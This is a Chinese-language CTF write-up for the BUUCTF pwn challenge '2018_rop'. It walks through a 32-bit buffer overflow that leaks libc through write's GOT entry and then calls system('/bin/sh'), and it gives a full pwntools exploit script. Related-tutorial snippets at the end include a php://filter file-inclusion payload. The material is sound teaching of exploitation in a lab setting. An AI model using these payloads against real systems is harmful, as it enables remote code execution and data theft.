[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop
[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop
[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop铁人三项(第五赛区)_2018_rop[32位libc泄露]
题目附件
解题步骤:
例行检查,32位,开启了NX保护
试运行一下程序,一开始让我们输入,然后直接输出“Hellow,world”
32位ida载入,首先习惯性的shift+f12查看一下程序里的字符串,没有发现现成的system(‘/bin/sh’)
从main函数开始看程序
第4行的函数是我们的输入点,read的buf长度为0x100,而我们参数的大小只有0x88,可以溢出0x78个长度,足够我们构造rop攻击
没有其他信息了,经典的泄露libc类型的题目
- 利用write函数来泄露程序的libc版本
- 知道libc版本后去计算程序里的system函数和字符串“/bin/sh”的地址
- 覆盖返回地址为system(‘/bin/sh’),获取shell
- 泄露libc版本
这边提一下write函数的原型
ssize_t write(int fd,const void*buf,size_t count);
参数说明:
fd:是文件描述符(write所对应的是写,即就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数
payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4) r.sendline(payload) write_addr=u32(r.recv(4)) libc=LibcSearcher('write',write_addr)
这边解释一下第一个payload
首先填充‘a’*(0x88+4)造成溢出,覆盖到返回地址,返回地址填上write函数的plt地址来调用write函数,之后跟上main函数地址(我们要将程序程序重新执行一遍,再次利用输入点来进构造rop)
p32(0)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位
- 算出程序的偏移量,计算system和bin/sh的地址
offset=write_addr-libc.dump('write') #计算偏移量 #偏移量=程序里的函数地址-libc里的函数地址 system_addr=offset+libc.dump('system') bin_sh=offset+libc.dump('str_bin_sh')
- 构造rop获取shell
payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)
完整EXP:
from pwn import * from LibcSearcher import * r=remote('node3.buuoj.cn',27043) elf=ELF('./2018_rop') write_plt=elf.plt['write'] write_got=elf.got['write'] main=elf.sym['main'] payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4) r.sendline(payload) write_addr=u32(r.recv(4)) libc=LibcSearcher('write',write_addr) offset=write_addr-libc.dump('write') system_addr=offset+libc.dump('system') bin_sh=offset+libc.dump('str_bin_sh') payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh) r.sendline(payload) r.interactive()
匹配到了多个libc版本,选第一个
泄露libc用到了延迟绑定技术,具体的看这个视频介绍
[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop相关教程
-
buuctf 逆向 findit
buuctf 逆向 findit 第一次做这种题,记录一下 文件下载后发现是apk逆向,用jeb打开 发现字符串,字符找到规律,比如第五个数据是“{”的asscii,最后一个是“}”的ascii,所以大胆猜想一下,这串数据和flag有关,用脚本跑出字符串,贴上脚本。 a=[ 0x70,0x76,
-
BUUCTF:[ACTF2020 新生赛]Include
BUUCTF:[ACTF2020 新生赛]Include 题目地址:https://buuoj.cn/challenges#[ACTF2020%20%E6%96%B0%E7%94%9F%E8%B5%9B]Include 文件包含 直接伪协议读取 flag.php ?file=php://filter/convert.base64-encode/resource=flag.php PS C:\Users\Administrator php
-
BUUCTF:[BJDCTF2020]纳尼
BUUCTF:[BJDCTF2020]纳尼 题目地址:https://buuoj.cn/challenges#[BJDCTF2020]%E7%BA%B3%E5%B0%BC 加个 Gif 的头 47 49 46 38 保存即可正常显示 用 stegsolve 的 Frame Browser 或者直接 PS 打开看图层也行 PS C:\Users\Administrator php -r var_dump(base
-
小胖手
小胖手 小PWN手的间歇性记录 ret2text ret2text 首先checksec一下 32位 只开启了栈可执行保护 ida打开 查找/bin/sh binsh = 0x804863A 距离ebp的距离需要利用Ubuntu中gdb工具 gdb ./ret2text 因为存储读入的变量和到栈底的距离未知所以断点下在_gets b *0x804
-
[BUUCFT]PWN——pwn2_sctf_2016
[BUUCFT]PWN——pwn2_sctf_2016 pwn2_sctf_2016[整数溢出+泄露libc] 题目附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,看看大概的执行情况 32位ida载入,shift+f12检索程序里的字符串,没有看到现成的system和‘/bin/sh’,加上开启了NX保护,估
-
BUUCTF:[GXYCTF2019]佛系青年
BUUCTF:[GXYCTF2019]佛系青年 题目地址:https://buuoj.cn/challenges#[GXYCTF2019]%E4%BD%9B%E7%B3%BB%E9%9D%92%E5%B9%B4 zip伪加密 fo.txt _ooOoo_ o8888888o 88 . 88 (| -_- |) O\ = /O ____/`---'\____ . ' \\| |// `. / \\||| : |||// \ / _||||| -:- |
-
BUUCTF:[BJDCTF 2nd]Real_EasyBaBa
BUUCTF:[BJDCTF 2nd]Real_EasyBaBa 题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]Real_EasyBaBa 题目如下 binwalk 分析 010 Editor 打开 这里已经发现flag了,不过这张图片有隐藏 zip 的痕迹,接着看下吧 修改一下这里的 zip 头 50 4B 03 04 14 00
-
BUUCTF:[BJDCTF2020]一叶障目
BUUCTF:[BJDCTF2020]一叶障目 题目地址:https://buuoj.cn/challenges#[BJDCTF2020]%E4%B8%80%E5%8F%B6%E9%9A%9C%E7%9B%AE 题目图片长这样 使用 010 Editor 打开出现 CRC不匹配 报错 图片能正常打开,但是出现 CRC匹配错误 一般是修改了宽高 这里也不知道原